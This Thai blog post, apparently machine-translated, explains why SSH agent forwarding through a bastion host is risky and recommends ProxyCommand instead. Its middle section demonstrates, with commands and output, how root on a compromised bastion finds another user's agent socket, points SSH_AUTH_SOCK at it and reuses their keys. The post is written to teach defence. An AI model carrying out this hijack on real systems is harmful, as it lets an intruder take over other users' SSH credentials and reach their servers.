ฉันเห็นคำตอบเกี่ยวกับ ProxyJump พูดคุยเกี่ยวกับ Let 's ProxyCommand
แต่เดี๋ยวก่อนเดี๋ยวก่อน! ฉันสามารถเขียนถึงคุณถึงวิธีแฮ็คเซิร์ฟเวอร์ที่ใช้การส่งต่อตัวแทนซึ่งจะเข้าใจความแตกต่างได้ง่ายขึ้น!
มาแฮ็คกันเถอะ!
สำหรับขั้นตอนพื้นฐาน: คุณสามารถอ่านโพสต์ของฉันที่นี่
ขั้นตอนพื้นฐานดังต่อไปนี้:
- สร้างผู้ใช้ป้อมปราการ
- ปิดใช้งานการเข้าสู่ระบบราก
- บล็อกการแฮ็คข้อมูล
- เปลี่ยนพอร์ต
- กำหนดค่าไฟร์วอลล์
- กำหนดค่า SELinux
วิธีใช้ AgentForwarding
- สร้าง config ใน ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
- เพิ่มคีย์การรับรองความถูกต้องของคุณเพื่อ ssh-agent
ssh-add ~/.ssh/name_rsa
- เชื่อมต่อกับป้อมปราการเหลวแหลก
ssh bast
เชื่อมต่อแอปพลิเคชันเซิร์ฟเวอร์จากป้อมปราการ
ssh app@IP -p PORT
แฮ็ก!
คุณอาจถามคำถามฉัน:
จะแฮ็กเซิร์ฟเวอร์ได้อย่างไรถ้าคุณโจมตีโฮสต์ป้อมปราการ?
ติดตามเป้าหมาย
ในไดเรกทอรี / tmp คุณอาจเห็นสิ่งนั้น:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
มาเปิดไฟล์ชั่วคราวกัน
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
เรามาดูการเชื่อมต่อกับ id กระบวนการนี้
netstat -nxp | grep 10507
ผลลัพธ์:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
และใครเชื่อมต่อกัน
lsof -i -a -p 10507
ผลลัพธ์:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
เรายังสามารถดูไฟล์ซ็อกเก็ต:
cd /proc/10507/fd/
ls
ผลลัพธ์:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
และจะเกิดอะไรขึ้นเมื่อไคลเอ็นต์จะเชื่อมต่อกับเซิร์ฟเวอร์ระยะไกล มาดูกัน:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
เราสามารถดูได้ว่าไฟล์ซ็อกเก็ตถูกใช้โดยใช้ netstat
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
ขโมยข้อมูลซ็อกเก็ตและที่อยู่ IP
ตอนนี้เราต้องขโมยข้อมูลซ็อกเก็ตในขณะที่เซสชันของโฮสต์ป้อมปราการเปิดอยู่ โอ้เราต้องการปลายทาง IP ของเซิร์ฟเวอร์ด้วยดังนั้นใช้ netstat:
netstat -tn
ขั้นตอนสุดท้ายที่จะใช้แฟ้มซ็อกเก็ตส่งต่อ
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
ตรวจสอบว่ามีการโหลดกุญแจหรือไม่
ssh-add -l
ส่งผลให้ควรเป็นสิ่งที่ชอบ :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
เซิร์ฟเวอร์ถูกแฮกวิธีการแก้ไขปัญหาความปลอดภัย
คำสั่งพร็อกซี
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
สำหรับการดำเนินการขั้นพื้นฐาน: วิธีการถ่ายโอนไฟล์ผ่านเซิร์ฟเวอร์ (จากไคลเอนต์ไปยังเซิร์ฟเวอร์, เซิร์ฟเวอร์ไปยังไคลเอนต์) คุณสามารถอ่านโพสต์ของฉันที่นี่
ข้อสรุป
- หากคุณใช้โฮสต์ bastion อย่าใช้ AgentForwarding แต่ใช้ ProxyCommand
- ใช้ผู้ใช้ที่ไม่ใช่รูทเสมอสำหรับการตรวจสอบสิทธิ์
- ใช้ไฟร์วอลล์และบล็อกการเชื่อมต่อที่ไม่จำเป็นทั้งหมด
- ใช้ SELinux (โดยทั่วไป)
- บล็อกที่อยู่ IP ที่พยายามเข้าสู่ระบบหลายครั้งด้วยข้อมูลประจำตัวที่ไม่ถูกต้อง
- หากไม่จำเป็นไม่ต้องให้สิทธิ์ sudo แก่ผู้ใช้
- ตรวจสอบเซิร์ฟเวอร์ของคุณ
- อัปเดตเซิร์ฟเวอร์ของคุณสำหรับแพตช์ความปลอดภัย
สำหรับข้อมูลเพิ่มเติมโปรดดูที่ของฉันบล็อก นอกจากนี้ฉันมี screeenshots ดังนั้นจึงอาจเป็นประโยชน์สำหรับคุณ